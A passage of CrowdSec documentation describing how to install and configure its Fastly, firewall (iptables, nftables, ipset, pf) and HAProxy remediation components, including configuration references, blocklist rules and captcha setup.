**Example**: `recaptcha_secret_key: 6L***********************************g` ##### `captcha_cookie_expiry_duration`[โ€‹](#captcha_cookie_expiry_duration "Direct link to captcha_cookie_expiry_duration") * **Type**: String * **Default**: `"1800"` * **Description**: Duration in seconds to persist the cookie containing proof of solving a captcha challenge. * **Example**: `captcha_cookie_expiry_duration: '1800'` ##### `reference_version`[โ€‹](#reference_version "Direct link to reference_version") * **Type**: String (optional) * **Default**: `null` (uses active version) * **Description**: Specific Fastly service version to clone from instead of using the currently active version. Useful for maintaining consistent base configurations. If no version is specified, the bouncer will clone the currently active version of the service (or last updated version if no active version exists) * **Example**: `reference_version: 63` ### Example Configuration[โ€‹](#example-configuration "Direct link to Example Configuration") Below is an example configuration file with all parameters set to their defaults or example values. YAMLCOPY ``` crowdsec_config: lapi_key: ${LAPI_KEY} lapi_url: "http://localhost:8080/" only_include_decisions_from: - crowdsec - cscli - CAPI exclude_scenarios_containing: [] include_scenarios_containing: ["ssh"] ca_cert_path: '' cert_path: '' insecure_skip_verify: false key_path: '' fastly_account_configs: - account_token: a***********************z # Get this from fastly services: - id: a***********************z # The id of the service recaptcha_site_key: a***********************z # Required for captcha support recaptcha_secret_key: a***********************z # Required for captcha support max_items: 20000 # max_items refers to the capacity of IP/IP ranges to ban/captcha. activate: true # # Set to true, to activate the new config in production captcha_cookie_expiry_duration: '1800' # Duration to persist the cookie containing proof of solving captcha reference_version: null # Optional: specify a specific version to clone from instead of the active version bouncer_version: v0.2.0 acl_fast_creation: false # Set to true, to enable parallel creation of ACLs. This is faster but the order of ACLs is random/unpredictable. update_frequency: 30 # Duration in seconds to poll the crowdsec API log_level: info # Valid choices are either of "debug","info","warning","error" log_mode: stdout # Valid choices are "file" or "stdout" or "stderr" log_file: /var/log/crowdsec-fastly-bouncer.log # Ignore if logging to stdout or stderr ``` ## Python Helpers[โ€‹](#python-helpers "Direct link to Python Helpers") The component has few builtin helper features: ### Auto config generator[โ€‹](#auto-config-generator "Direct link to Auto config generator") **Usage** SHCOPY ``` crowdsec-fastly-bouncer -g , ``` This will print boilerplate config with sane defaults for the provided comma separated Fastly tokens. Always review the generated config before proceeding further. Crowdsec config is copied from the config at `PATH_TO_BASE_CONFIG`. ### Config editor[โ€‹](#config-editor "Direct link to Config editor") **Usage** SHCOPY ``` crowdsec-fastly-bouncer -e -g , -c ``` This will update the config at `PATH_TO_BASE_CONFIG` with the generated config for the provided comma separated Fastly tokens. Always review the updated config before proceeding further. ### Runner[โ€‹](#runner "Direct link to Runner") **Usage** SHCOPY ``` crowdsec-fastly-bouncer -c ``` This starts the component in normal mode using the provided config file. ### Local cache refresher[โ€‹](#local-cache-refresher "Direct link to Local cache refresher") **Usage** SHCOPY ``` crowdsec-fastly-bouncer -r -c ``` This refreshes the local cache file from Fastly without making any changes to the Fastly services. For each services in the config file, it fetches the current ACLs and their contents for the current active version (or last updated version if no active version exists). ### Cleaner[โ€‹](#cleaner "Direct link to Cleaner") **Usage** SHCOPY ``` crowdsec-fastly-bouncer -c -d ``` This deletes the Fastly resources created by the component (all resources starting with `crowdsec_` prefix). Be aware that the created configuration will be created as a draft version even if `activate: true` is set in the config file. --- # Firewall ![](/img/crowdsec_firewall.svg) ![](https://img.shields.io/badge/build-pass-green)![](https://img.shields.io/badge/tests-pass-green) ๐Ÿ“š [Documentation](#installation) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) ModeStream only MetricsSupported MTLSSupported PrometheusSupported CrowdSec Remediation Component written in golang for firewalls. When to Choose a Different Bouncer The firewall bouncer is ideal for protecting **infrastructure services** like SSH, databases, and SMTP. If you are protecting a **web application**, consider using an WAF-capable bouncer instead: [Nginx](https://docs.crowdsec.net/u/bouncers/nginx.md), [OpenResty](https://docs.crowdsec.net/u/bouncers/openresty.md), [Traefik](https://docs.crowdsec.net/u/bouncers/traefik.md), or [HAProxy SPOA](https://docs.crowdsec.net/u/bouncers/haproxy_spoa.md). These provide real-time HTTP inspection, virtual patching, and WAF capabilities that a firewall bouncer cannot offer. [Learn more about AppSec](https://docs.crowdsec.net/docs/next/appsec/intro.md). For maximum protection on web-facing servers, you can run **both** a firewall bouncer (for IP-level blocking) and an WAF-capable bouncer (for HTTP-level inspection) side by side. crowdsec-firewall-bouncer will fetch new and old decisions from a CrowdSec API and add them to a blocklist used by supported firewalls. Supported firewalls: * iptables (IPv4 โœ”๏ธ / IPv6 โœ”๏ธ ) * nftables (IPv4 โœ”๏ธ / IPv6 โœ”๏ธ ) * ipset only (IPv4 โœ”๏ธ / IPv6 โœ”๏ธ ) * pf (IPV4 โœ”๏ธ / IPV6 โœ”๏ธ ) ## Installation[โ€‹](#installation "Direct link to Installation") Packages for crowdsec-firewall-bouncer [are available on our repositories](https://docs.crowdsec.net/u/getting_started/installation/linux.md#repository-installation). You need to pick the package according to your firewall system : info To know if your system is using iptables or nftables, you can run the following command: iptables -V If you see the mention of 'nf\_tables' in the output, you are using nftables. ### IPTables[โ€‹](#iptables "Direct link to IPTables") * Debian/Ubuntu * RHEL/Centos/Fedora SHCOPY ``` sudo apt install crowdsec-firewall-bouncer-iptables ``` SHCOPY ``` sudo yum install crowdsec-firewall-bouncer-iptables ``` ### NFTables[โ€‹](#nftables "Direct link to NFTables") * Debian/Ubuntu * RHEL/Centos/Fedora SHCOPY ``` sudo apt install crowdsec-firewall-bouncer-nftables ``` SHCOPY ``` sudo yum install crowdsec-firewall-bouncer-nftables ``` ### pf[โ€‹](#pf "Direct link to pf") * FreeBSD SHCOPY ``` sudo pkg install crowdsec-firewall-bouncer ``` Continue with the [pf setup section](#pf-setup-freebsd). See as well [Manual Installation documentation below](#manual-installation) ## pf setup (FreeBSD)[โ€‹](#pf-setup-freebsd "Direct link to pf setup (FreeBSD)") The `pf` mode relies on the `pfctl` command to alter `pf` tables. You must create the CrowdSec tables and reference them in your `pf.conf`. ### 1) Enable `pf`[โ€‹](#1-enable-pf "Direct link to 1-enable-pf") `pf` is not always loaded/enabled by default. SHCOPY ``` sudo kldload pf sudo sysrc pf_enable="YES" ``` ### 2) Configure `/etc/pf.conf`[โ€‹](#2-configure-etcpfconf "Direct link to 2-configure-etcpfconf") Add the CrowdSec tables and blocking rules (adjust to your existing ruleset): /etc/pf.conf PF/etc/pf.confCOPY ``` # create crowdsec ipv4 table table persist # create crowdsec ipv6 table table persist block drop in quick from to any block drop in quick from to any ``` Reload and verify: SHCOPY ``` sudo pfctl -f /etc/pf.conf sudo pfctl -sr sudo service pf check sudo service pf status ``` ### 3) Configure the bouncer[โ€‹](#3-configure-the-bouncer "Direct link to 3) Configure the bouncer") Generate an API key: SHCOPY ``` sudo cscli bouncers add --name freebsd-pf-bouncer ``` Edit the bouncer configuration file on FreeBSD (`/usr/local/etc/crowdsec/bouncers/crowdsec-firewall-bouncer.yaml`) and set at least: YAMLCOPY ``` api_url: http://127.0.0.1:8080/ api_key: mode: pf ``` Then enable and start it: SHCOPY ``` sudo sysrc crowdsec_firewall_enable="YES" sudo service crowdsec_firewall start sudo service crowdsec_firewall status ``` ## Configuration[โ€‹](#configuration "Direct link to Configuration") There are two primary ways to use the firewall bouncer: * **managed** (default): cs-firewall-bouncer will create ipset/nft sets, insert the associated firewall rules and manage the set contents * **set only**: you already have a (complex) firewall setup, cs-firewall-bouncer will only manage the *content* of existing specified sets ### Managed mode : Iptables/ipset or Nftables[โ€‹](#managed-mode--iptablesipset-or-nftables "Direct link to Managed mode : Iptables/ipset or Nftables") **This is the default behaviour** In "managed" mode (mode `nftables` or `iptables`), component creates all the needed elements (rules, sets) and insert the appropriate rules in nftables or iptables. warning IPSet (when using `iptables` mode) does not support a timeout greater than 2147483 seconds (about 596 hours). If crowdsec is configured to take decisions longer than that, the bouncer will cap the duration to 2147482 seconds. ### Set Only : Iptables/Ipset table[โ€‹](#set-only--iptablesipset-table "Direct link to Set Only : Iptables/Ipset table") In iptables set-only mode (mode `ipset`), the component only handles the **contents** of sets that are specified by `blacklists_ipv4` and `blacklists_ipv6`. These sets must be created before starting the component, and it is the user's responsibility to create the associated iptables rules. warning IPSet does not support a timeout greater than 2147483 seconds (about 596 hours). If crowdsec is configured to take decisions longer than that, the bouncer will cap the duration to 2147482 seconds. ### Set Only : nftables[โ€‹](#set-only--nftables "Direct link to Set Only : nftables") In nftables set only mode (mode `nftables` with `nftables.{ipv4,ipv6}.set-only` set to `true`), the component only manages the **contents** of the sets. It's the user's responsibility to create the associated chains and sets : /tmp/bouncer.nft YAML/tmp/bouncer.nftCOPY ``` table ip crowdsec { set crowdsec-blacklists { type ipv4_addr flags timeout } chain crowdsec-chain { type filter hook input priority filter; policy accept; ip saddr @crowdsec-blacklists drop } } table ip6 crowdsec6 { set crowdsec6-blacklists { type ipv6_addr flags timeout } chain crowdsec6-chain { type filter hook input priority filter; policy accept; ip6 saddr @crowdsec6-blacklists drop } } ``` ## Metrics[โ€‹](#metrics "Direct link to Metrics") info CrowdSec v1.6.3 and Firewall Remediation Component v0.0.30 are minimum versions required to have metrics. You can check the metrics generated by the firewall-bouncer using the command `cscli metrics show bouncers`. ![firewall-bouncer-metrics](/assets/images/firewall-bouncer-metrics-7de5600028fa2db309df3b74352053f5.png) Each line in the output represents a different source of blocked IPs, along with detailed metrics. * `Origin` refers to the name of the source, which could be: * `CAPI` - The community blocklist that you receive in exchange for the information you provide to the network * `crowdsec (security engine)` - The decisions made by your Security Engine based on triggered scenarios * `lists:*` - Various lists to which you are subscribed * `active_decisions IPs` represents the number of IPs contained in the respective list * `dropped bytes & packets` indicates the number of bytes and packets dropped by the firewall due to the actions of the specified origin * `processed bytes & packets` is only present for the `Total` line, as it denotes the overall number of bytes and packets processed by your firewall. As the firewall bouncer operates at the network level, most malicious programs will not progress beyond attempting to establish a connection (and being denied). Therefore, metrics cannot reflect the "potentially saved traffic." ### Ipset only mode[โ€‹](#ipset-only-mode "Direct link to Ipset only mode") If you are running ipset only mode, crowdsec-firewall-bouncer tries parsing the output to produce metrics, but: * "managed" firewalls such ufw might confuse parser and lead to inconsistent metrics. * "total" counters amount since the machine start, or iptables counter are reset, which can lead to inconsistent metrics. ## Configuration Reference[โ€‹](#configuration-reference "Direct link to Configuration Reference") You can find a default configuration hosted on the [Github Repository](https://github.com/crowdsecurity/cs-firewall-bouncer/blob/main/config/crowdsec-firewall-bouncer.yaml) this is provided with the installation package. ### `pid_dir`[โ€‹](#pid_dir "Direct link to pid_dir") > Depreacted Directory to store the pid file ### `daemonize`[โ€‹](#daemonize "Direct link to daemonize") > Deprecated Run the component in the background warning This field has now been deprecated and is ignored within the component ### `mode`[โ€‹](#mode "Direct link to mode") > `iptables` | `nftables` | `ipset` | `pf` Firewall mode to use ### `update_frequency`[โ€‹](#update_frequency "Direct link to update_frequency") > string (That is parseable by [time.ParseDuration](https://golang.org/pkg/time/#ParseDuration)) Frequency to contact the API for new/deleted decisions ### `scenarios_containing`[โ€‹](#scenarios_containing "Direct link to scenarios_containing") > \[ ]string Get only IPs banned for triggering scenarios containing either of provided word. Example YAMLExampleCOPY ``` scenarios_containing: ["ssh", "http"] ``` ### `scenarios_not_containing`[โ€‹](#scenarios_not_containing "Direct link to scenarios_not_containing") > \[ ]string Ignore IPs banned for triggering scenarios containing either of provided word. Example YAMLExampleCOPY ``` scenarios_not_containing: ["ssh", "http"] ``` ### `scopes`[โ€‹](#scopes "Direct link to scopes") > \[ ]string Decisions will be filtered on the provided scopes. Example YAMLExampleCOPY ``` scopes: ["Ip", "Range"] ``` ### `origins`[โ€‹](#origins "Direct link to origins") > \[ ]string Decisions will be filtered on the provided origins. Example YAMLExampleCOPY ``` origins: ["cscli", "crowdsec"] ``` ### `log_mode`[โ€‹](#log_mode "Direct link to log_mode") > `file` | `stdout` Where the log contents are written (With `file` it will be written to `log_dir` with the name `crowdsec-firewall-bouncer.log`) ### `log_dir`[โ€‹](#log_dir "Direct link to log_dir") > string Log directory path, that will contain the log file ### `log_level`[โ€‹](#log_level "Direct link to log_level") > `trace` | `debug` | `info` | `warn` | `error` Log level ### `log_compression`[โ€‹](#log_compression "Direct link to log_compression") > `true` | `false` Compress log files on rotation ### `log_max_size`[โ€‹](#log_max_size "Direct link to log_max_size") > int (in MB) Max size of log files before rotation ### `log_max_backups`[โ€‹](#log_max_backups "Direct link to log_max_backups") > int How many backup log files to keep before deletion (can happen before `log_max_age` is reached) ### `log_max_age`[โ€‹](#log_max_age "Direct link to log_max_age") > int (in days) Max age of backup files before deletion (can happen before `log_max_backups` is reached) ### `api_url`[โ€‹](#api_url "Direct link to api_url") > string URL of the local API EG: `http://127.0.0.1:8080` ### `api_key`[โ€‹](#api_key "Direct link to api_key") > string API key to authenticate with the local API ### `cert_path`[โ€‹](#cert_path "Direct link to cert_path") > string Path to the client certificate for authentication ### `key_path`[โ€‹](#key_path "Direct link to key_path") > string Path to the certificate key used with `cert_path` ### `ca_cert_path`[โ€‹](#ca_cert_path "Direct link to ca_cert_path") > string Path to the CA certificate to trust usually used in conjunction with `cert_path` and `key_path` ### `insecure_skip_verify`[โ€‹](#insecure_skip_verify "Direct link to insecure_skip_verify") > `true` | `false` Skip verification of the API certificate, typical for self-signed certificates ### `disable_ipv6`[โ€‹](#disable_ipv6 "Direct link to disable_ipv6") > `true` | `false` disable interacting with ipv6 chains/sets, defaults to `false` ### `disable_ipv4`[โ€‹](#disable_ipv4 "Direct link to disable_ipv4") > `true` | `false` disable interacting with ipv4 chains/sets, defaults to `false` ### `deny_action`[โ€‹](#deny_action "Direct link to deny_action") > `DROP` | `REJECT` firewall action to apply, defaults to `DROP` ### `deny_log`[โ€‹](#deny_log "Direct link to deny_log") > `true` | `false` if set to `true`, enables logging of dropped packets (ie. `-j LOG`) ### `deny_log_prefix`[โ€‹](#deny_log_prefix "Direct link to deny_log_prefix") > string if logging is true, this sets the log prefix, defaults to "crowdsec: " ## Iptables/Ipset specific directives[โ€‹](#iptablesipset-specific-directives "Direct link to Iptables/Ipset specific directives") ### `iptables_chains`[โ€‹](#iptables_chains "Direct link to iptables_chains") > \[]string specify a list of chains to insert rules into both ipv4 and ipv6 YAMLCOPY ``` iptables_chains: - INPUT #- FORWARD #- DOCKER-USER ``` info If you are using a dockerized application and allow remote connections to the exposed port, you need to add the `DOCKER-USER` chain to the list of chains. ### `iptables_v4_chains`[โ€‹](#iptables_v4_chains "Direct link to iptables_v4_chains") > \[]string Specify a list of chains to insert rules into ipv4 only YAMLCOPY ``` iptables_v4_chains: - INPUT - DOCKER-USER ``` ### `iptables_v6_chains`[โ€‹](#iptables_v6_chains "Direct link to iptables_v6_chains") > \[]string Specify a list of chains to insert rules into ipv6 only YAMLCOPY ``` iptables_v6_chains: - INPUT ``` ### `blacklists_ipv4`[โ€‹](#blacklists_ipv4 "Direct link to blacklists_ipv4") > string name of the ipv4 set ### `blacklists_ipv6`[โ€‹](#blacklists_ipv6 "Direct link to blacklists_ipv6") name of the ipv6 set ### `iptables_add_rule_comments`[โ€‹](#iptables_add_rule_comments "Direct link to iptables_add_rule_comments") > `true` | `false` If set to `false`, disables adding comments to the iptables rules created by the bouncer. Defaults to `true`. ### `ipset_size`[โ€‹](#ipset_size "Direct link to ipset_size") > int maximum number of entries in the ipset (default: 131072) ### `ipset_type`[โ€‹](#ipset_type "Direct link to ipset_type") > string type to use for the set (default: `nethash`) info The default value for [`ipset_size`](#ipset_size) has been raised in v0.0.28 (from 65536) to allow for larger blocklists. ## Nftables specific directives[โ€‹](#nftables-specific-directives "Direct link to Nftables specific directives") Nftables mode has its own `nftables` section, with sub-section of ipv4 and ipv6 : YAMLCOPY ``` ## nftables nftables: ipv4: enabled: true set-only: false table: crowdsec chain: crowdsec-chain ipv6: enabled: true set-only: false table: crowdsec6 chain: crowdsec6-chain ``` ### `enabled`[โ€‹](#enabled "Direct link to enabled") > `true` | `false` Enable or disable ipv4 or ipv6 ### `set-only`[โ€‹](#set-only "Direct link to set-only") > `true` | `false` If `set-only` is set to true, the component will only manage the set contents. ### `table`[โ€‹](#table "Direct link to table") > string Name of the nftables table ### `chain`[โ€‹](#chain "Direct link to chain") > string Name of the nftables chain ## Manual installation[โ€‹](#manual-installation "Direct link to Manual installation") ### Assisted[โ€‹](#assisted "Direct link to Assisted") First, download the latest [`crowdsec-firewall-bouncer` release](https://github.com/crowdsecurity/cs-firewall-bouncer/releases). SHCOPY ``` $ tar xzvf crowdsec-firewall-bouncer.tgz $ sudo ./install.sh ``` ### From source[โ€‹](#from-source "Direct link to From source") Run the following commands: SHCOPY ``` git clone https://github.com/crowdsecurity/cs-firewall-bouncer.git cd cs-firewall-bouncer/ make release tar xzvf crowdsec-firewall-bouncer.tgz cd crowdsec-firewall-bouncer-v*/ sudo ./install.sh ``` ### Upgrade[โ€‹](#upgrade "Direct link to Upgrade") If you already have `crowdsec-firewall-bouncer` installed, please download the [latest release](https://github.com/crowdsecurity/cs-firewall-bouncer/releases) and run the following commands: SHCOPY ``` tar xzvf crowdsec-firewall-bouncer.tgz cd crowdsec-firewall-bouncer-v*/ sudo ./upgrade.sh ``` ### Configuration for manual installation[โ€‹](#configuration-for-manual-installation "Direct link to Configuration for manual installation") To be functional, the `crowdsec-firewall-bouncer` service must be able to authenticate with the local API. The `install.sh` script will take care of it (it will call `cscli bouncers add` on your behalf). If it was not the case, the default configuration is in `/etc/crowdsec/bouncers/crowdsec-firewall-bouncer.yaml`. You can then start the service: SHCOPY ``` sudo systemctl enable --now crowdsec-firewall-bouncer ``` If you need to make changes to the configuration file and be sure they will never be modified or reverted by package upgrades, starting from v0.0.25 you can write them in a `crowdsec-firewall-bouncer.yaml.local` file as described in [Overriding values](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration#overriding-values). Package upgrades may have good reasons to modify the configuration, so be careful if you use a `.local` file. ### logs[โ€‹](#logs "Direct link to logs") logs can be found in `/var/log/crowdsec-firewall-bouncer.log` ### modes[โ€‹](#modes "Direct link to modes") * mode `nftables` relies on github.com/google/nftables to create table, chain and set. * mode `iptables` relies on `iptables` and `ipset` commands to insert `match-set` directives and maintain associated ipsets * mode `ipset` relies on `ipset` and only manage contents of the sets (they need to exist at startup and will be flushed rather than created) * mode `pf` relies on `pfctl` command to alter the tables. You are required to create the following tables on your `pf.conf` configuration: SHCOPY ``` # create crowdsec ipv4 table table persist # create crowdsec ipv6 table table persist ``` You can refer to the step-by-step instructions of the \[user tutorial on FreeBSD in the [pf setup section](#pf-setup-freebsd). ### ipset[โ€‹](#ipset "Direct link to ipset") ipset lists have to exist before crowdsec-firewall-bouncer starts. You can create them and add them to your iptables like this: SHCOPY ``` ipset create crowdsec-blacklists hash:ip timeout 0 maxelem 150000 ipset create crowdsec6-blacklists hash:ip timeout 0 family inet6 maxelem 150000 iptables -I INPUT 1 -m set --match-set crowdsec-blacklists src -j DROP ip6tables -I INPUT 1 -m set --match-set crowdsec6-blacklists src -j DROP ``` --- # HAProxy ![CrowdSec](/img/crowdsec_haproxy.svg "CrowdSec") ![](https://img.shields.io/badge/build-pass-green)![](https://img.shields.io/badge/tests-pass-green) ๐Ÿ“š [Documentation](#installation/) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) AppSecUnsupported ModeLive & Stream MetricsUnsupported MTLSUnsupported PrometheusUnsupported danger This bouncer isn't actively supported anymore. We strongly suggest, you use the [Haproxy SPOA Bouncer](https://docs.crowdsec.net/u/bouncers/haproxy_spoa.md). A lua Remediation Component for haproxy. warning This component is compatible with HAProxy version 2.5 and higher. ## How does it work ?[โ€‹](#how-does-it-work- "Direct link to How does it work ?") This component leverages haproxy lua's API to check the IP address against the local API. Supported features: * Stream mode (pull the local API for new/old decisions every X seconds) * Ban remediation (can ban an IP address by redirecting him or returning a custom HTML page) * Captcha remediation (can return a captcha) * Works with IPv4/IPv6 * Support IP ranges (can apply a remediation on an IP range) ## Installation[โ€‹](#installation "Direct link to Installation") ### Using packages[โ€‹](#using-packages "Direct link to Using packages") First, [setup crowdsec repositories](https://docs.crowdsec.net/u/getting_started/installation/linux.md#repository-installation). * Debian/Ubuntu SHCOPY ``` sudo apt install crowdsec-haproxy-bouncer ``` info In stream mode, the component will launch an internal timer to pull the local API at the first request made to the server. ### Manual installation[โ€‹](#manual-installation "Direct link to Manual installation") warning It has been tested only on Debian/Ubuntu based distributions. Download the latest release [here](https://github.com/crowdsecurity/cs-haproxy-bouncer/releases) SHCOPY ``` tar xvzf crowdsec-haproxy-bouncer.tgz cd crowdsec-haproxy-bouncer-v*/ ./install.sh ``` If you are on a mono-machine setup, the `crowdsec-haproxy-bouncer` install script will register directly to the local crowdsec, so you're good to go ! ## Upgrade[โ€‹](#upgrade "Direct link to Upgrade") ### From package[โ€‹](#from-package "Direct link to From package") SHCOPY ``` sudo apt-get update sudo apt-get install crowdsec-haproxy-bouncer ``` ### Manual Upgrade[โ€‹](#manual-upgrade "Direct link to Manual Upgrade") If you already have `crowdsec-haproxy-bouncer` installed, please download the [latest release](https://github.com/crowdsecurity/cs-haproxy-bouncer/releases) and run the following commands: SHCOPY ``` tar xzvf crowdsec-haproxy-bouncer.tgz cd crowdsec-haproxy-bouncer-v*/ sudo ./upgrade.sh sudo systemctl restart haproxy ``` ## Configuration[โ€‹](#configuration "Direct link to Configuration") ### Component configuration[โ€‹](#component-configuration "Direct link to Component configuration") /etc/crowdsec/bouncers/crowdsec-haproxy-bouncer.conf SH/etc/crowdsec/bouncers/crowdsec-haproxy-bouncer.confCOPY ``` API_KEY= MAP_PATH= # path to community_blocklist.map # bounce for all type of remediation that the component can receive from the local API BOUNCING_ON_TYPE=all # when the bouncer receive an unknown remediation, fallback to this remediation FALLBACK_REMEDIATION=ban MODE=stream REQUEST_TIMEOUT=1000 # exclude the bouncing on those location EXCLUDE_LOCATION= # Update frequency in stream mode, in second UPDATE_FREQUENCY=10 #those apply for "ban" action # /!\ REDIRECT_LOCATION and BAN_TEMPLATE_PATH/RET_CODE can't be used together. REDIRECT_LOCATION take priority over RET_CODE AND BAN_TEMPLATE_PATH BAN_TEMPLATE_PATH=/var/lib/crowdsec/lua/haproxy/templates/ban.html REDIRECT_LOCATION= RET_CODE= #those apply for "captcha" action # Captcha Secret Key SECRET_KEY= # Captcha Site key SITE_KEY= CAPTCHA_TEMPLATE_PATH=/var/lib/crowdsec/lua/haproxy/templates/captcha.html CAPTCHA_EXPIRATION=3600 ``` ### HAProxy Configuration[โ€‹](#haproxy-configuration "Direct link to HAProxy Configuration") HAProxy must be amended with following configuration : /!\ Be careful to the actual lua scripts location after install (/usr/lib or /usr/lib64 or /usr/local ...) /etc/haproxy/haproxy.cfg SH/etc/haproxy/haproxy.cfgCOPY ``` global ... # Crowdsec bouncer >>> lua-prepend-path /usr/lib/crowdsec/lua/haproxy/?.lua lua-load /usr/lib/crowdsec/lua/haproxy/crowdsec.lua # path to crowdsec.lua setenv CROWDSEC_CONFIG /etc/crowdsec/bouncers/crowdsec-haproxy-bouncer.conf # path to crowdsec bouncer configuration file # Crowdsec bouncer <<< ... frontend myApp ... # Crowdsec bouncer >>> stick-table type ip size 10k expire 30m # declare a stick table to cache captcha verifications http-request lua.crowdsec_allow # action to identify crowdsec remediation http-request track-sc0 src if { var(req.remediation) -m str "captcha-allow" } # cache captcha allow decision http-request redirect location %[var(req.redirect_uri)] if { var(req.remediation) -m str "captcha-allow" } # redirect to initial url http-request use-service lua.reply_captcha if { var(req.remediation) -m str "captcha" } # serve captcha template if remediation is captcha http-request use-service lua.reply_ban if { var(req.remediation) -m str "ban" } # serve ban template if remediation is ban # Crowdsec bouncer <<< ... # Crowdsec bouncer >>> # define a backend for the captcha provider to allow DNS resolution backend captcha_verifier server captcha_verifier www.recaptcha.net:443 check #server hcaptcha_verifier hcaptcha.com:443 check #server turnstile_verifier challenges.cloudflare.com:443 check # this is a little bit magic the server name is used to inform which captcha service you are using # define a backend for crowdsec to allow DNS resolution # replace 127.0.0.1:8080 by the listen URI of the crowdsec local API backend crowdsec server crowdsec 127.0.0.1:8080 check # Crowdsec bouncer <<< ``` #### Common haproxy issues[โ€‹](#common-haproxy-issues "Direct link to Common haproxy issues") If you are facing errors where haproxy 503's when trying to reach out for captcha verification backend, you can try: /etc/haproxy/haproxy.cfg SH/etc/haproxy/haproxy.cfgCOPY ``` global #Beware that this is disabling http client ssl verification and is only a temp workaround httpclient.ssl.verify none httpclient.resolvers.id my_resolver #8.8.8.8 is just an example resolvers my_resolver nameserver ns1 8.8.8.8:53 ``` #### Crowdsec backend[โ€‹](#crowdsec-backend "Direct link to Crowdsec backend") You must declare a backend for Crowdsec so we're able to resolve it's address during the refresh task. the backend and the server both must be named `crowdsec`. The decisions are stored in a [Map file](https://www.haproxy.com/blog/introduction-to-haproxy-maps/), the location of the map file is configured with `MAP_PATH` parameter. #### When using captcha remediation[โ€‹](#when-using-captcha-remediation "Direct link to When using captcha remediation") Using captcha, You must declare a backend for the captcha provider so we're able to resolve it's address during captcha verification. Validated ips are cached in a [Stick table](https://www.haproxy.com/blog/introduction-to-haproxy-stick-tables/) to avoid too many requests to captcha verification endpoint. ### Setup captcha[โ€‹](#setup-captcha "Direct link to Setup captcha") > Currently, we have support for 3 providers: recaptcha, hcaptcha or turnstile If you want to use captcha with your HAProxy component, you must provide a Site key and Secret key in your component configuration. If you wish to use any other provider than recaptcha you **MUST** adapt the server name in the backend: * recaptcha ([captcha\_verifier documentation](https://developers.google.com/recaptcha/intro)). YAMLCOPY ``` backend captcha_verifier mode http server captcha_verifier www.google.com:443 check ``` * hcaptcha ([hcaptcha\_verifier documentation](https://docs.hcaptcha.com/)) YAMLCOPY ``` backend captcha_verifier mode http server hcaptcha_verifier hcaptcha.com:443 ``` * turnstile ([turnstile\_verifier documentation](https://developers.cloudflare.com/turnstile/)). YAMLCOPY ``` backend captcha_verifier mode http server turnstile_verifier challenges.cloudflare.com:443 ``` Edit `etc/crowdsec/bouncers/crowdsec-haproxy-bouncer.conf` and configure the following options: SHCOPY ``` SECRET_KEY= SITE_KEY= CAPTCHA_TEMPLATE_PATH=/var/lib/crowdsec/lua/templates/captcha.html CAPTCHA_EXPIRATION=3600 ``` Restart HAProxy. You can add a decisions with a type `captcha` to check if it works correctly: SHCOPY ``` sudo cscli decisions add -i -t captcha ``` ## FAQ[โ€‹](#faq "Direct link to FAQ") ### Why aren't decisions applied instantly[โ€‹](#why-arent-decisions-applied-instantly "Direct link to Why aren't decisions applied instantly") In stream mode, the component will launch an internal timer to pull the local API at the first request. So the cache won't be refreshed until the first request hits the service. ### SSL and certificates[โ€‹](#ssl-and-certificates "Direct link to SSL and certificates") In order to query captcha provider for verification, you need SSL certificates. Make sure you have root certificates installed on your system. You can also install `ca-certificates`. ## References[โ€‹](#references "Direct link to References") ### `API_KEY`[โ€‹](#api_key "Direct link to api_key") > string SHCOPY ``` API_KEY= ``` CrowdSec Local API key. Generated with [`sudo cscli bouncers add`](https://docs.crowdsec.net/u/getting_started/installation/linux.md) command. ### `BOUNCING_ON_TYPE`[โ€‹](#bouncing_on_type "Direct link to bouncing_on_type") > all | ban | captcha SHCOPY ``` BOUNCING_ON_TYPE=all ``` Type of remediation we want to bounce. If you choose `ban` only and receive a decision with `captcha` as remediation, the component will skip the decision. ### `FALLBACK_REMEDIATION`[โ€‹](#fallback_remediation "Direct link to fallback_remediation") > ban | captcha SHCOPY ``` FALLBACK_REMEDIATION=ban ``` The fallback remediation is applied if the component receives a decision with an unknown remediation. ### `REQUEST_TIMEOUT`[โ€‹](#request_timeout "Direct link to request_timeout") > int SHCOPY ``` REQUEST_TIMEOUT=1000 ``` Timeout in milliseconds for the HTTP requests done by the component to query CrowdSec local API or captcha provider (for the captcha verification). ### `EXCLUDE_LOCATION`[โ€‹](#exclude_location "Direct link to exclude_location") > string (Seperate by comma) SHCOPY ``` EXCLUDE_LOCATION=/,/ ``` The locations to exclude while bouncing. It is a list of location, separated by commas. โš ๏ธ It is not recommended to put `EXCLUDE_LOCATION=/`. ### `UPDATE_FREQUENCY`[โ€‹](#update_frequency "Direct link to update_frequency") > int > This option is only for the `stream` mode. SHCOPY ``` UPDATE_FREQUENCY=10 ``` The frequency of update, in second, to pull new/old IPs from the CrowdSec local API. ### `REDIRECT_LOCATION`[โ€‹](#redirect_location "Direct link to redirect_location") > string > This option is only for the `ban` remediation. SHCOPY ``` REDIRECT_LOCATION=/ ``` The location to redirect the user when there is a ban. If it is not set, the component will return the page defined in the `BAN_TEMPLATE_PATH` with the `RET_CODE` (403 by default). ### `BAN_TEMPLATE_PATH`[โ€‹](#ban_template_path "Direct link to ban_template_path") > string (path to file) > This option is only for the `ban` remediation. SHCOPY ``` BAN_TEMPLATE_PATH= ``` The path to a HTML page to return to IPs that trigger `ban` remediation. By default, the HTML template is located in `/var/lib/crowdsec/lua/templates/ban.html`. ### `RET_CODE`[โ€‹](#ret_code "Direct link to ret_code") > int > This option is only for the `ban` remediation. SHCOPY ``` RET_CODE=403 ``` The HTTP code to return for IPs that trigger a `ban` remediation. If nothing specified, it will return a 403. ### `SECRET_KEY`[โ€‹](#secret_key "Direct link to secret_key") > string > This option is only for the `captcha` remediation. SHCOPY ``` SECRET_KEY= ``` The captcha secret key. ### `SITE_KEY`[โ€‹](#site_key "Direct link to site_key") > string > This option is only for the `captcha` remediation. SHCOPY ``` SITE_KEY= ``` The captcha site key. ### `CAPTCHA_TEMPLATE_PATH`[โ€‹](#captcha_template_path "Direct link to captcha_template_path") > string (path to file) > This option is only for the `captcha` remediation. SHCOPY ``` CAPTCHA_TEMPLATE_PATH= ``` The path to a captcha HTML template. The component will try to replace `{{captcha_site_key}}` in the template with `SITE_KEY` parameter. By default, the HTML template is located in 